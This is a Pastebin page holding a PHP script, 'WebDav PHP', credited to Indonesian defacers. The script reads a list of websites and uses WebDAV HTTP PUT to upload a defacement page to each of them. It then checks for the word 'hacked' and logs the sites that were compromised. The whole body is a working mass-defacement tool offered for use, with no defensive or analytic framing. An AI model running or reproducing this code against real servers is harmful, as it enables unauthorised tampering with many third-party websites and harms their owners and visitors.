Advertisement
choirurrizal

WebDav PHP

Jan 5th, 2017
743
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.77 KB | None | 0 0
  1. <?php
  2. # by tu5b0l3d & Anonymous AAM1337.
  3. # Indonesian coders.
  4.  
  5. if(!is_file($argv[1]) || !is_file($argv[2])){
  6.   echo "\n\nUsage: php $argv[0] list.htm file_deface.htm\n\n";
  7. }else{
  8. $sites = $argv[1];
  9. $file = $argv[2];
  10. $fp = fopen($file, "r");
  11. $buka=fopen("$sites","r");
  12. $filesize = filesize($file);
  13. $size=filesize("$sites");
  14. $baca=fread($buka,$size);
  15. $sites = explode("<br>", $baca);
  16. foreach($sites as $site){
  17. if(preg_match("#http://#", $site)) {
  18.     $site = $site;
  19.  } else {
  20.    $site = "http://".$site;
  21.  }
  22. $site = "$site/$file";
  23. $ch = curl_init();
  24. curl_setopt($ch, CURLOPT_URL, $site);
  25. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  26. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  27. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
  28. curl_setopt($ch, CURLOPT_PUT, true);
  29. curl_setopt($ch, CURLOPT_INFILE, $fp);
  30. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  31. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  32. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  33. $exec = curl_exec($ch);
  34. echo "$site -> ";
  35. $su = curill($site);
  36. if(preg_match("/hacked/i", $su)) {
  37.     echo "Created Successfully\n\n";
  38.    file_put_contents("result-webdav.html", "$site<br>", FILE_APPEND);
  39. } else {
  40.   echo "Failed\n";
  41.   }
  42. }
  43. }
  44. function curill($site){
  45.   $ch = curl_init ("$site");
  46. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  47. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  48. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  49. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  50. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  51. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  52. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  53. $data3 = curl_exec ($ch);
  54. return $data3;
  55.  }
  56. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement